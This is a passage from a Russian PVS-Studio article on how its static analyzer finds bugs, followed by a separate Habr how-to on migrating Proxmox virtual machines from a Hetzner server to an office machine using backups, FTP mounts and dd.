Применяется для поиска мест в исходном коде, которые похожи на известные шаблоны кода с ошибкой. Шаблонов очень много, при этом сложность их выявления крайне разнится. Более того, некоторые диагностики для выявления опечаток прибегают к эмпирическим алгоритмам.
Для начала давайте рассмотрим два самых **простых случая**, выявляемых с помощью паттерного анализа. Первый простой случай:
```
if ((*path)[0]->e->dest->loop_father != path->last()->e->....)
{
delete_jump_thread_path (path);
e->aux = NULL;
ei_next (&ei);
}
else
{
delete_jump_thread_path (path);
e->aux = NULL;
ei_next (&ei);
}
```
Предупреждение PVS-Studio: V523 The 'then' statement is equivalent to the 'else' statement. tree-ssa-threadupdate.c 2596
В независимости от условия, всегда выполняется один и тот же набор действий. Думаю, здесь всё настолько просто, что не требуются специальные пояснения. Кстати, этот фрагмент кода я встретил не в курсовой работе студента, а в коде компилятора GCC. С результатами проверки компилятора GCC можно ознакомиться в статье "[Находим ошибки в коде компилятора GCC с помощью анализатора PVS-Studio](http://www.viva64.com/ru/b/0425/)".
Второй простой случай (код взят из проекта FCEUX):
```
if((t=(char *)realloc(next->name,strlen(name+1))))
```
Предупреждение PVS-Studio: V518 The 'realloc' function allocates strange amount of memory calculated by 'strlen(expr)'. Perhaps the correct variant is 'strlen(expr) + 1'. fceux cheat.cpp 609
Анализируется следующий ошибочный паттерн. Программисты знают, что когда они выделяют память для хранения строки, то должны дополнительно выделить память для одного символа, где будет храниться признак конца строки ([терминальный ноль](http://www.viva64.com/ru/t/0088/)). Другими словами, программисты знают, что должны обязательно дописать +1 или +sizeof(TCHAR). Но делают это иногда небрежно. В результате они прибавляют 1 не к значению, которое возвращает функция *strlen*, а к указателю.
Именно так и произошло в нашем случае. Вместо *strlen(name+1)* должно быть написано *strlen(name)+1*.
Из-за такой ошибки памяти выделяется чуть меньше, чем требуется. Далее произойдет выход за границу выделенного буфера и последствия будут непредсказуемы. Более того, программа может делать вид что корректно работает, если благодаря везению два байта после выделенного буфера не используются. При ещё более плохом сценарии, такой дефект может давать наведённые ошибки, которые будут проявлять себя совсем в другом месте.
Теперь рассмотрим анализ **среднего уровня сложности**.
Диагностика формулируется так: предупреждаем, если после использования оператора *as* на *null* проверяется исходный объект вместо результата оператора *as*.
Рассмотрим фрагмент кода из проекта CodeContracts:
```
public override Predicate JoinWith(Predicate other)
{
var right = other as PredicateNullness;
if (other != null)
{
if (this.value == right.value)
{
```
Предупреждение PVS-Studio: V3019 Possibly an incorrect variable is compared to null after type conversion using 'as' keyword. Check variables 'other', 'right'. CallerInvariant.cs 189
Обратите внимание, что на равенство *null* проверяется переменная *other*, а вовсе не *right*. Это явная ошибка, ведь потом работают именно с переменной *right*.
И под конец — **сложный паттерн**, связанный с использование макросов.
Макрос разворачивается так, что приоритет операции внутри макроса выше приоритета операции вне макроса. Пример:
```
#define RShift(a) a >> 3
....
RShift(a & 0xFFF) // a & 0xFFF >> 3
```
Для разрешения проблемы нужно поместить в макросе аргумент *a* в скобки (а лучше и весь макрос тоже в скобки), то есть написать так:
```
#define RShift(a) ((a) >> 3),
```
Тогда макрос корректно развернётся в:
```
RShift(a & 0xFFF) // ((a & 0xFFF) >> 3)
```
Описание паттерна выглядит простым, но на практике реализация диагностики весьма сложна. Недостаточно анализировать только "#define RShift(a) a >> 3". Если выдавать предупреждения на все такие строки, будет слишком много срабатываний. Надо смотреть, как макрос раскрывается в конкретном случае, и пытаться отделить ситуации, когда это специальная задумка, а когда действительно не хватает скобок.
Рассмотрим эту ошибку на примере кода реального проекта FreeBSD:
```
#define ICB2400_VPINFO_PORT_OFF(chan) \
(ICB2400_VPINFO_OFF + \
sizeof (isp_icb_2400_vpinfo_t) + \
(chan * ICB2400_VPOPT_WRITE_SIZE))
....
off += ICB2400_VPINFO_PORT_OFF(chan - 1);
```
Предупреждение PVS-Studio: V733 It is possible that macro expansion resulted in incorrect evaluation order. Check expression: chan — 1 \* 20. isp.c 2301
### Type inference
Вывод типов на основе семантической модели программы позволяет анализатору иметь полную информацию о всех переменных и выражениях, встречающихся в коде.
Другими словами, анализатор должен знать, является токен *Foo* именем переменной, названием класса или функцией. Анализатор во многом повторяет работу компилятора, которому также требуется точно знать тип того или иного объекта и всю сопутствующую информацию о типе: размер, знаковый/беззнаковый тип, если класс, то от кого он наследуется и так далее.
Именно по этой причине анализатор PVS-Studio требует препроцессировать \*.c/\*.cpp файлы. Только анализируя препроцессированный файл можно собрать всю информацию о типах. Без такой информации многие диагностики осуществлять невозможно, или они будут давать много ложных срабатываний.
**Примечание.** Если кто-то заявляет, что их анализатор умеет проверять \*.c/\*.cpp файлы как текстовый документ, без полноценного препроцессирования, то знайте, это просто баловство. Да, такой анализатор может что-то находить, но в целом — это несерьезная игрушка.
Итак, информация о типах нужна как для выявления ошибок, так и для того, чтобы, наоборот, не выдавать ложные предупреждения. Особенно важна информация о классах.
Давайте рассмотрим на примерах, как используется информация о типах.
Первый пример демонстрирует, что информация о типе нужна, чтобы выявить ошибку при работе с функцией *fprintf* (код взят из проекта Cocos2d-x):
```
WCHAR *gai_strerrorW(int ecode);
....
#define gai_strerror gai_strerrorW
....
fprintf(stderr, "net_listen error for %s: %s",
serv, gai_strerror(n));
```
Предупреждение PVS-Studio: V576 Incorrect format. Consider checking the fourth actual argument of the 'fprintf' function. The pointer to string of char type symbols is expected. ccconsole.cpp 341
Функция *frintf* ожидает в качестве четвертого аргумента указатель типа *char \**. Случайно получилась так, что фактическим аргументом является строка типа *wchar\_t \**.
Чтобы выявить эту ошибку надо знать тип, который возвращает функция *gai\_strerrorW*. Если этой информации не будет, то и выявить ошибку не представляется возможным.
Теперь рассмотрим пример, когда знание информации о типе препятствует выдаче ложного предупреждения.
Код вида "\*A = \*A;" однозначно считается анализатором подозрительным. Однако, анализатор промолчит, если встретит следующую ситуацию:
```
volatile char *ptr;
....
*ptr = *ptr; // <= Нет срабатывания V570
```
Спецификатор *volatile* подсказывает, что это не ошибка, а специальная задумка программиста. Разработчику зачем-то надо «потрогать» ячейку памяти. Зачем ему это нужно — мы не знаем, но раз он так делает, то в этом есть смысл и выдавать предупреждение не следует.
Теперь давайте рассмотрим пример, как можно выявлять ошибку, основываясь на знаниях о классе.
Пример кода взят из проекта CoreCLR:
```
struct GCStatistics : public StatisticsBase {
....
virtual void Initialize();
virtual void DisplayAndUpdate();
....
GCStatistics g_LastGCStatistics;
....
memcpy(&g_LastGCStatistics, this, sizeof(g_LastGCStatistics));
```
Предупреждение PVS-Studio: V598 The 'memcpy' function is used to copy the fields of 'GCStatistics' class. Virtual table pointer will be damaged by this. cee\_wks gc.cpp 287.
Копировать один объект в другой с помощью функции *memcpy* вполне допустимо, если объекты являются POD-структурами. Однако здесь в классе присутствуют виртуальные методы, а значит имеется и указатель на таблицу виртуальных методов. Копировать этот указатель из одного объекта в другой крайне опасно.
Итак, диагностика стала возможна благодаря тому, что мы знаем, что переменная *g\_LastGCStatistics* — это экземпляр класса, и что этот класс не является POD-типом.
### Symbolic execution
Символьное выполнение позволяет вычислять значения переменных, которые могут приводить к ошибкам, производить проверку диапазонов (range checking) значений. В наших статьях мы иногда называем это механизмом вычисления виртуальных значений: см., например, статью "[Поиск ошибок с помощью вычисления виртуальных значений](http://www.viva64.com/ru/b/0394/)".
Зная предполагаемые значения переменных, можно выявлять такие ошибки как:
* утечки памяти;
* переполнения;
* выход за границу массива;
* разыменование нулевых указателей в C++ / доступ по нулевой ссылке в C#;
* бессмысленные условия;
* деление на 0;
* и так далее.
Рассмотрим, как используя знания о возможных значениях переменных можно находить различные ошибки. Начнём с фрагмента кода, взятого из проекта QuantLib:
```
Handle md0Yts() {
double q6mh[] = {
0.0001,0.0001,0.0001,0.0003,0.00055,0.0009,0.0014,0.0019,
0.0025,0.0031,0.00325,0.00313,0.0031,0.00307,0.00309,
........................................................
0.02336,0.02407,0.0245 }; // 60 элементов
....
for(int i=0;i<10+18+37;i++) { // i < 65
q6m.push\_back(
boost::shared\_ptr(new SimpleQuote(q6mh[i])));
```
Предупреждение PVS-Studio: V557 Array overrun is possible. The value of 'i' index could reach 64. markovfunctional.cpp 176
Здесь анализатор знает следующие данные:
* массив *q6mh* содержит 60 элементов;
* счетчик массива *i* будет принимать значения [0..64].
Зная эти данные, диагностика V557 обнаруживает выход за границу массива при выполнении операции *q6mh[i]*.
Теперь рассмотрим ситуацию, где может возникнуть деление на 0. Код взят из проекта Thunderbird:
```
static inline size_t UnboxedTypeSize(JSValueType type)
{
switch (type) {
.......
default: return 0;
}
}
Minstruction *loadUnboxedProperty(size_t offset, ....)
{
size_t index = offset / UnboxedTypeSize(unboxedType);
```
Предупреждение PVS-Studio: V609 Divide by zero. Denominator range [0..8]. ionbuilder.cpp 10922
Функция *UnboxedTypeSize* возвращает различные значения, в том числе и 0. Не проверяя, что результат работы функции может быть 0, её используют как знаменатель. Потенциально это может привести к делению переменной *offset* на 0.
Предыдущие примеры касались диапазона целочисленных значений. Однако, анализатор оперирует и со значениями других типов данных, например, со строками и указателями.
Рассмотрим пример неправильной работы со строками. В данном случае анализатор хранит информацию о том, что вся строка была преобразована в верхний или нижний регистр. Это позволяет выявлять следующие ситуации:
```
string lowerValue = value.ToLower();
....
bool insensitiveOverride = lowerValue == lowerValue.ToUpper();
```
Предупреждение PVS-Studio: V3122 The 'lowerValue' lowercase string is compared with the 'lowerValue.ToUpper()' uppercase string. ServerModeCore.cs 2208
Программист хотел проверить, что все символы в строке являются заглавными. Код явно содержит какую-то логическую ошибку, так как ранее все символы этой строки были преобразованы в нижний регистр.
Продолжать описывать диагностики, построенные на знаниях о значении переменных, можно долго. Я приведу только ещё один пример, связанный с указателями и утечкой памяти.
Код взят из проекта WinMerge:
```
CMainFrame* pMainFrame = new CMainFrame;
if (!pMainFrame->LoadFrame(IDR_MAINFRAME))
{
if (hMutex)
{
ReleaseMutex(hMutex);
CloseHandle(hMutex);
}
return FALSE;
}
m_pMainWnd = pMainFrame;
```
Предупреждение анализатора: V773 The function was exited without releasing the 'pMainFrame' pointer. A memory leak is possible. Merge merge.cpp 353
Если не удалось загрузить фрейм, то функция завершает свою работу. При этом не разрушается объект, указатель на который хранится в переменной *pMainFrame*.
Диагностика работает следующим образом. Анализатор запоминает, что указатель *pMainFrame* хранит адрес объекта, созданного с помощью оператора *new*. Анализируя граф потока управления, анализатор встречает оператор *return*. При этом объект не разрушался и указатель продолжает ссылаться на созданный объект. Это значит, что в этой точке возникает утечка памяти.
### Method annotations
Аннотирование методов предоставляет больше информации об используемых методах, чем может быть получено путём анализа только их сигнатуры.
Мы проделали большую работу по аннотированию функций:* C/C++. На данный момент проаннотировано **6570** функций (стандартные библиотеки C и C++, POSIX, MFC, Qt, ZLib и так далее).
* C#. На данный момент проаннотировано **920** функций.
Рассмотрим, как в ядре C++ анализатора проаннотирована функция *memcmp*:
```
C_"int memcmp(const void *buf1, const void *buf2, size_t count);"
ADD(REENTERABLE | RET_USE | F_MEMCMP | STRCMP | HARD_TEST |
INT_STATUS, nullptr, nullptr, "memcmp",
POINTER_1, POINTER_2, BYTE_COUNT);
```
Краткие пояснения по разметке:* C\_ — вспомогательный механизм контроля аннотаций (юнит-тесты);
* REENTERABLE – повторный вызов с теми же аргументами даст тот же результат;
* RET\_USE – результат должен быть использован;
* F\_MEMCMP – запуск определённых проверок выхода за границы буфера;
* STR\_CMP – при равенстве функция возвращает 0;
* HARD\_TEST – особая функция: некоторые библиотеки определяют собственные идентичные функции в своих namespace и поэтому следует игнорировать namespace;
* INT\_STATUS – результат нельзя явно сравнивать с 1 или -1;
* POINTER\_1, POINTER\_2 – указатели должны быть не нулевыми и разными;
* BYTE\_COUNT – параметр задает количество байт и должен быть больше 0.
Данные аннотации используются многими диагностиками. Рассмотрим некоторые ошибки, которые мы обнаружили в коде приложений благодаря приведенной выше разметке для функции *memcmp*.
Пример использования разметки **INT\_STATUS**. Проект CoreCLR:
```
bool operator()(const GUID& _Key1, const GUID& _Key2) const
{
return memcmp(&_Key1, &_Key2, sizeof(GUID)) == -1;
}
```
V698 Expression 'memcmp(....) == -1' is incorrect. This function can return not only the value '-1', but any negative value. Consider using 'memcmp(....) < 0' instead. sos util.cpp 142
Такой код может работать, но в целом он неверен. Функция *memcmp* возвращает значения 0, больше нуля и меньше нуля. Важно:* «больше нуля», это не обязательно 1
* «меньше нуля», это не обязательно -1
Таким образом, нет никакой гарантии в работоспособности написанного кода. В любой момент сравнение может начать работать неправильно. Это может произойти при смене компилятора, изменении настроек оптимизации и так далее.
Флаг INT\_STATUS помогает выявить ещё один вид ошибки. Код проекта Firebird:
```
SSHORT TextType::compare(ULONG len1, const UCHAR* str1,
ULONG len2, const UCHAR* str2)
{
....
SSHORT cmp = memcmp(str1, str2, MIN(len1, len2));
if (cmp == 0)
cmp = (len1 < len2 ? -1 : (len1 > len2 ? 1 : 0));
return cmp;
}
```
PVS-Studio. V642 Saving the 'memcmp' function result inside the 'short' type variable is inappropriate. The significant bits could be lost breaking the program's logic. texttype.cpp 3
Вновь неаккуратно работают с результатом, который возвращает функция *memcmp*. Ошибка в том, что происходит усечение размера типа: результат помещают в переменную типа *short*.
Некоторые могут подумать, что мы придираемся. Ничуть. Такой неаккуратный код может легко стать причиной самой настоящей уязвимости.
Одна такая ошибка послужила причиной серьезной уязвимости в MySQL/MariaDB до версий 5.1.61, 5.2.11, 5.3.5, 5.5.22. Причиной стал следующий код в файле 'sql/password.c':
```
typedef char my_bool;
....
my_bool check(...) {
return memcmp(...);
}
```
Суть в том, что при подключении пользователя MySQL /MariaDB вычисляется токен (SHA от пароля и хэша), который сравнивается с ожидаемым значением функцией *memcmp*. На некоторых платформах возвращаемое значение может выпадать из диапазона [-128..127]. В итоге, в 1 случае из 256, процедура сравнения хэша с ожидаемым значением всегда возвращает значение *true*, независимо от хэша. В результате простая команда на bash даёт злоумышленнику рутовый доступ к уязвимому серверу MySQL, даже если он не знает пароль. Более подробное описание этой проблемы можно прочитать здесь: [Security vulnerability in MySQL/MariaDB](http://seclists.org/oss-sec/2012/q2/493).
Пример использования разметки **BYTE\_COUNT**. Проект GLG3D:
```
bool Matrix4::operator==(const Matrix4& other) const {
if (memcmp(this, &other, sizeof(Matrix4) == 0)) {
return true;
}
....
}
```
Предупреждение PVS-Studio: V575 The 'memcmp' function processes '0' elements. Inspect the 'third' argument. graphics3D matrix4.cpp 269
Третий аргумент функции *memcmp* помечен как *BYTE\_COUNT*. Считается, что такой аргумент не должен быть равен 0. В приведённом фрагменте кода третий фактический параметр как раз равен 0.
Ошибка заключается в том, что не там поставлена скобка. В результате третьим аргументом является выражение *sizeof(Matrix4) == 0*. Результат этого выражения *false*, т.е. 0.
Пример использования разметки **POINTER\_1 и POINTER\_2**. Проект GDB:
```
static int
psymbol_compare (const void *addr1, const void *addr2,
int length)
{
struct partial_symbol *sym1 = (struct partial_symbol *) addr1;
struct partial_symbol *sym2 = (struct partial_symbol *) addr2;
return (memcmp (&sym1->ginfo.value, &sym1->ginfo.value,
sizeof (sym1->ginfo.value)) == 0
&& .......
```
Предупреждение PVS-Studio: V549 The first argument of 'memcmp' function is equal to the second argument. psymtab.c 1580
Первый и второй аргументы размечены как PONTER\_1 и POINTER\_2. Во-первых, это означает, что они не должны быть равны NULL. Но в данном случае нам интересно второе свойство разметки: эти указатели не должны совпадать, о чем говорят суффиксы \_1 и \_2.
Из-за опечатки в коде буфер *&sym1->ginfo.value* сравнивается сам с собой. PVS-Studio, опираясь на разметку, легко обнаруживает эту ошибку.
Пример использования разметки **F\_MEMCMP**.
Данная разметка включает ряд специальных диагностик для таких функций, как *memcmp* и *\_\_builtin\_memcmp*. В результате может быть выявлена вот такая ошибка в проекте Haiku:
```
dst_s_read_private_key_file(....)
{
....
if (memcmp(in_buff, "Private-key-format: v", 20) != 0)
goto fail;
....
}
```
Предупреждение PVS-Studio: V512 A call of the 'memcmp' function will lead to underflow of the buffer '«Private-key-format: v»'. dst\_api.c 858
Строка «Private-key-format: v» состоит из 21 символа, а не из 20. Таким образом, сравнивается меньше байт чем требуется.
Пример использования разметки **REENTERABLE**. Если честно, слово «reenterable» не совсем верно отражает суть данного флага. Однако, все разработчики в нашей команде к нему привыкли и не хочется делать изменений в коде ради красоты.
Суть разметки в следующем. Функция не имеет состояния и никаких побочных эффектов: не меняет память, не печатает что-то на экран, не удаляет файлы на диске. Благодаря этому анализатор может отличать правильные конструкции от неправильных. Например, вот такой код вполне законен:
```
if (fprintf(f, "1") == 1 && fprintf(f, "1") == 1)
```
Анализатор не будет выдавать предупреждений. Мы записываем две единицы в файл и код нельзя сократить до:
```
if (fprintf(f, "1") == 1) // неправильно
```
А вот такой код избыточен и насторожит анализатор, так как функция *cosf* не имеет состояния и никуда ничего не записывает:
```
if (cosf(a) > 0.1f && cosf(a) > 0.1f)
```
Вернемся теперь к функции *memcmp* и посмотрим, какую ошибку удалось обнаружить с помощью рассмотренной разметки в проекте PHP:
```
if ((len == 4) /* sizeof (none|auto|pass) */ &&
(!memcmp("pass", charset_hint, 4) ||
!memcmp("auto", charset_hint, 4) ||
!memcmp("auto", charset_hint, 4)))
```
Предупреждение PVS-Studio: V501 There are identical sub-expressions '!memcmp(«auto», charset\_hint, 4)' to the left and to the right of the '||' operator. html.c 396
Два раза проверяется, что буфер содержит слово «auto». Этот код избыточен и анализатор предполагает в нем наличие ошибки. И действительно, комментарий подсказывает нам, что пропущено сравнение со строкой «none».
Как видите, с помощью разметки можно находить много интересных ошибок. Часто анализаторы предоставляют возможности пользователям самостоятельно аннотировать функции. В PVS-Studio эти возможности развиты слабо. В нем есть всего несколько диагностик, для которых можно что-то проаннотировать. Например, это диагностика [V576](http://www.viva64.com/ru/w/V576/) для поиска ошибок использования функций форматного вывода (printf, sprintf, wprintf и так далее).
Мы сознательно не развиваем механизм пользовательских аннотаций. На это есть две причины:
* В большом проекте никто не станет тратить время на разметку функций. Это просто нереально, когда у вас 10 миллионов строк кода, а ведь анализатор PVS-Studio как раз ориентирован на средние и большие проекты.
* Если не размечены функции из какой-то известной библиотеки, то лучше написать нам и мы сами проаннотируем их. Во-первых, мы сделаем это быстрее и лучше, а во-вторых, результаты разметки станут доступны всем нашим пользователям.
Ещё раз кратко о технологиях
----------------------------
Кратко резюмирую свой рассказ о используемых технологиях. PVS-Studio использует:
* Сопоставление с шаблоном (pattern-based analysis) на основе абстрактного синтаксического дерева: применяется для поиска мест в исходном коде, которые похожи на известные шаблоны кода с ошибкой.
* Вывод типов (type inference) на основе семантической модели программы: позволяет анализатору иметь полную информацию о всех переменных и выражениях, встречающихся в коде.
* Символьное выполнение (symbolic execution): позволяет вычислять значения переменных, которые могут приводить к ошибкам, производить проверку диапазонов (range checking) значений.
* Анализ потока данных (data-flow analysis): используется для вычисления ограничений, накладываемых на значения переменных при обработке различных конструкций языка. Например, какие значения может принимать переменная внутри блоков if/else.
* Аннотированние методов (method annotations): предоставляет больше информации об используемых методах, чем может быть получено путём анализа только их сигнатуры.
На основе этих технологий анализатор умеет выявлять следующие классы ошибок в программах на языках C, C++ и C#:
* 64-битные ошибки;
* адрес локальной переменной возвращается из функции по ссылке;
* арифметическое переполнение, потеря значимости;
* выход за границу массива;
* двойное освобождение ресурсов;
* мёртвый код;
* микрооптимизации;
* недостижимый код;
* неинициализированные переменные;
* неиспользуемые переменные;
* некорректные операции сдвига;
* неопределенное/неуточняемое поведение;
* неправильная работа с типами (HRESULT, BSTR, BOOL, VARIANT\_BOOL);
* неправильное представление о работе функции/класса;
* опечатки;
* отсутствие виртуального деструктора;
* оформление кода не совпадает с логикой его работы;
* ошибки из-за Copy-Paste;
* ошибки работе с исключениями;
* переполнение буфера;
* проблемы безопасности;
* путаница с приоритетом операций;
* разыменование нулевого указателя / нулевой ссылки;
* разыменование параметров без предварительной проверки;
* ошибки синхронизации;
* ошибки при использовании WPF;
* утечки памяти;
* целочисленное деление на 0;
* диагностики, созданные по специальным просьбам пользователей.
Вывод. Анализатор PVS-Studio является мощным инструментом поиска ошибок, использующим для этого современный арсенал методов для их выявления.
Да, PVS-Studio это положительный супергерой мира программ.
Тестирование PVS-Studio
-----------------------
Разработка анализаторов кода невозможна без их постоянного тщательного тестирования. При разработке PVS-Studio мы используем 7 различных методик тестирования:
1. Статический анализ кода на машинах разработчиков. У всех разработчиков установлен PVS-Studio. Новый или изменённый код сразу проверяется с помощью механизма инкрементального анализа. Проверяется C++ и С# код.
2. Статический анализ кода при ночных сборках. Если предупреждение не было замечено, то оно выявится на этапе ночной сборки на сервере. PVS-Studio проверяет C# и C++ код. Помимо этого, мы дополнительно используем компилятор Clang для проверки C++ кода.
3. Юнит-тесты уровня классов, методов, функций. Не очень развитая система, так как многие моменты сложно тестировать из-за необходимости подготавливать для теста большой объем входных данных. Мы больше полагаемся на высокоуровневые тесты.
4. Функциональные тесты уровня специально подготовленных и размеченных файлов с ошибками. Это наша альтернатива классическому юнит-тестированию.
5. Функциональные тесты, подтверждающие, что мы корректно разбираем основные системные заголовочные файлы.
6. Регрессионные тесты уровня отдельных сторонних проектов и решений (projects and solutions). Самый важный и полезный для нас вид тестирования. Сравнивая старые и новые результаты анализа, мы контролируем, что что-то не сломали и оттачиваем новые диагностические сообщения. Для его осуществления мы регулярно проверяем открытые проекты. C++ анализатор тестируется на 120 проектах под Windows (Visual C++), плюс дополнительно на 24 проектах под Linux (GCC). Анализатор C# пока тестируется чуть слабее. Тестовая база состоит из 54 проектов.
7. Функциональные тесты пользовательского интерфейса расширения — надстройки, интегрируемой в среду Visual Studio.
Заключение
----------
Эта статья написана для популяризации методологии статического анализа. Думаю, читателям интересно знать не только о результатах применения анализаторов кода, но и том, как они устроены внутри. Постараюсь время от времени писать статьи на эту тематику.
Дополнительно, мы планируем больше участвовать в различных мероприятиях, таких как конференции и семинары. Мы будем рады получить приглашения на различные мероприятия, особенно проходящие в Москве и Санкт-Петербурге. Например, в вашем институте или компании проходят встречи программистов, где люди делятся своим опытом. Мы можем приехать и сделать доклад на интересную тему. Например, про современный C++, о том, как мы разрабатываем анализаторы, про типовые ошибки программистов и как их предотвращать, доработав стандарт кодирования и так далее. Приглашения прошу присылать мне на почту karpov [@] viva64.com.
Напоследок несколько ссылок:
* [Скачать PVS-Studio для Windows](http://www.viva64.com/ru/pvs-studio/)
* [Скачать PVS-Studio для Linux](http://www.viva64.com/ru/pvs-studio-download-linux/)
* [Бесплатный вариант лицензии для PVS-Studio](http://www.viva64.com/ru/b/0457/)
[](http://www.viva64.com/en/b/0466/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. [How PVS-Studio does the bug search: methods and technologies](http://www.viva64.com/en/b/0466/).
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio, версия 2015](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/319382/ | null | ru | null |
# На землю из облаков: переезд Proxmox на компьютер в офисе в РФ
Доброго времени суток, Хабр!
Предлагаю вниманию краткую историю переезда одного сервера виртуализации на базе Proxmox из Hetzner в РФ на сервер виртуализации, расположенный в стойке в офисе компании.
Кратко о причинах выбора Proxmox, его особенностях. [Википедия о системе виртуализации Proxmox](https://ru.wikipedia.org/wiki/Proxmox_Virtual_Environment).
Размещено в качестве пособия самому себе и желающим, чтобы не восстанавливать порядок действий и не терять время на тех подводных камнях, о которых, собственно, в статье ниже.
Если кратко, то главное желание — отсутствие необходимости администрирования запущенного проекта; отсутствие потребности в обновлениях, только по выходу заплаток безопасности; простота веб-интерфейса. Обусловлено тем, что у компании в штате нет настоящего linux-гуру. Так что, практический стандартный Debian решил все вопросы в пользу Proxmox. Еще один плюс — низкая нагрузка ядром виртуализации на процессор(ы) — это действительно так.
Похвалил систему, за остальным прошу под cut.
В связи с ростом курса Евро передаваемая в аренду услуга по предоставлению удаленных рабочих мест на специально арендованном сервере стала дорожать. После расчетов было принято решение о приобретении в физической конфигурации «Процессор 8 x AMD Ryzen 5 1400 Quad-Core Processor (1 Сокет)», 2 \* SSD M.2 1ТБ + райзеры к ним для установки в порт PCI-E, 32 Gb ОЗУ. В облаке же машина CPU(s) 8 x Intel® Core(TM) i7 CPU 920 @ 2.67GHz (1 Socket), 2\*2ТБ HDD, 47.16 Gb ОЗУ.
**Кстати, о еще причине ухода из облака**
В этом году выходил из строя один из HDD, благо не рабочий, а для хранения снэпшотов виртуальных машин. Длительная переписка с техподдержкой и срок замены в 2 недели так же повлияли на решение о переносе виртуальных машин.
Настройки хранилища Proxmox из коробки базируются на томах LVM, хотя есть возможность под хранилище образов использовать и папку ОС и другие варианты файловых систем и даже внешние FTP ресурсы (ниже об этом). На данной машине настроен раздел LVM с именем «data» на диске №1 и прописано хранилище данных proxmox с именем «data», на нем хранятся образы дисков виртуальных машин. На второй диск сохраняются бекапы (снэпшоты) виртуальных машин по некоему графику.
В облаке запущено две клиентских ноды на 4 CPU 16GB ОЗУ каждая и типом процессора core2duo. Их виртуальные диски занимают полностью 2ТБ.
**Особенности установки Proxmox на дистрибутив Debian (в облаке)**
[Официальный How-To](https://pve.proxmox.com/wiki/Install_Proxmox_VE_on_Debian_Stretch)
Смысл в том, что вместо танцев с бубном вокруг скачивания/подключения образа Proxmox можно воспользоваться скриптом для Debian для его установки. Опуская детали, кратко необходимо c правами root:
1) подключить репозиторий без поддержки
```
echo "deb http://download.proxmox.com/debian/pve stretch pve-no-subscription" > /etc/apt/sources.list.d/pve-install-repo.list
wget http://download.proxmox.com/debian/proxmox-ve-release-5.x.gpg -O /etc/apt/trusted.gpg.d/proxmox-ve-release-5.x.gpg
chmod +r /etc/apt/trusted.gpg.d/proxmox-ve-release-5.x.gpg
```
2) Обновить данные о доступных пакетах
```
apt update && apt dist-upgrade
```
3) Установить Promox и перезагрузить машину
```
apt remove os-prober
apt install proxmox-ve postfix open-iscsi
reboot
```
В результате WEB-Интерфейс будет доступен по адресу: [ВашIP](https://%D0%92%D0%B0%D1%88IP):8006/
Для переезда анализируем конфигурацию дисков, смотрим размеры полного бекапа, чтобы определить размеры сжатой ноды и место хранения (на новую ноду или на офисное хранилище):
* Нода 1: 200Gb+400Gb+200Gb; Размер бекапа 175Gb
* Нода 2: 200Gb+500Gb; Размер бекапа 7Gb;
Просим клиента разрешить доступ и определяем, что Нода 2 диск 2 не используется, хотя активен. Следовательно, на исходной машине в облаке необходимо верно настроить гостевую ОС и отключить в веб-интерфейсе Proxmox диск на 500GB. При этом он останется привязан к Ноде 2, но будет «отключен», то есть Нода 2 видеть его не будет.
В веб-интерфейсе делается бекап с произведенными изменениями с максимальным сжатием образа диска в GZip. Получаем те же 6Gb в архиве, что собственно и ожидалось.
В офисном пространстве есть хранилище с доступом по FTP, выделен 1Тб для заливки архивных образов виртуальных машин, поэтому решено подключить к папке "/bkps" облачной ОС это хранилище по FTP.
**Как подключить в Debian возможность примонтировать FTP-шару к каталогу ОС**
[Спасибо коллеге, очень полезная статья](https://habr.com/ru/post/85084/)
Все команды от root:
```
apt update
apt install curlftpfs
mkdir /bkps
curlftpfs ftp://$USER:$PASSWD@$HOST:$PORT/ /bkps
cd /bkps
ls
```
Должно быть видно содержание шары FTP. Если не видно, то ищем где проблема.
```
fusermount -u /bkps
```
отключит примонтированный ресурс.
**Создание образа Proxmox для установки с флешки помощью Rufus 3.xx**
В привычной мне манере, в привычном ПО из под Windows, выбрал образ, диск флешки и несколько раз не глядя нажал «да», «ок» — кнопки, которые были выделены по умолчанию. В итоге при установке с флешки машина начинает грузиться, а затем выдает сообщение, что ISO образ не найден.
Внимательно перечитав сообщение Rufus выяснил, что он мне предлагает сделать образ флешки либо с помощью развертки из iso на существующий диск либо развернуть образ с помощью DD (CheckBox с Radio-Button). Так вот, надо создавать образ флешки с помощью DD-тогда iso образ находится, Proxmox устанавливается.
На сервере — приемнике настроены диски так: LVM data1 на 1TB-> Хранилище data1; LVM data2 временно на SSD 256Gb -> Хранилище data2. После переноса образа машины на FTP-шару подключаем ее методом, описанным выше к директории /bkps сервера-приемника. В хранилище сервера-приемника подключаем Директорию "/bkps" как хранилище бекапов и пытаемся восстановить в ранее созданную Ноду 2 из Web-интерфейса. Первые проблемы:
1. Оказывается, что настройки Ноды полностью в архиве, поэтому нет необходимости создавать аналогичную на приемнике с помощью copy-paste.
2. Оказывается, что для распаковки образа в системе требуется хранилище «data», а у нас же нет такого, поэтому процесс разархивации останавливается с ошибкой.
Попытка отредактировать файл «Архив ноды 2.tar.bz2» в MC закончилась неудачей. Пытаюсь на остановленной Ноде 2 из консоли сервера виртуализации с помощью
```
dd if=/data/vm-101-disk-0 | gzip -9cf > /bkps/vm-101-disk-0.img.gz
```
залить на FTP и развернуть на сервере-приемнике из консоли в созданный на LVM data2 образ с именем "/dev/data2/vm-101-disk0" с помощью команд:
```
cd /bkps
ls | grep vm101
gunzip -c vm101-disk-0.img.gz | dd of=/dev/data2/vm101-disk-0
```
По окончании процесса Нода 2 запустилась корректно, гостевая ОС заработала без дальнейших манипуляций.
С Нодой 1 процесс пошел сложнее, так как с помощью DD не удалось развернуть диск 2 на 400Gb. В чем причина пока мне неизвестна. Так как время поджимало, было принято Соломоново решение: переименовать Хранилище сервера-приемника с «data1» на «data» и развернуть из бекапа Ноду 1. В такой конфигурации процесс пошел отлично, машина запустилась и корректно работает, видит все подключенные диски.
И в заключение кратко о миграции дисков внутри сервера между хранилищами.
1. Останавливаем ноду.
2. В настройках конфигурации ноды наводимся на диск, который нужно мигрировать. Странно, что работает только на подключенном диске, а тот, который не «attached» мигрировать нельзя.
3. Выбираем целевое хранилище и система перемещает его в необходимое Хранилище.
Исходя из заключения можно было переехать и так (бонусный способ переезда для самых настойчивых читателей):
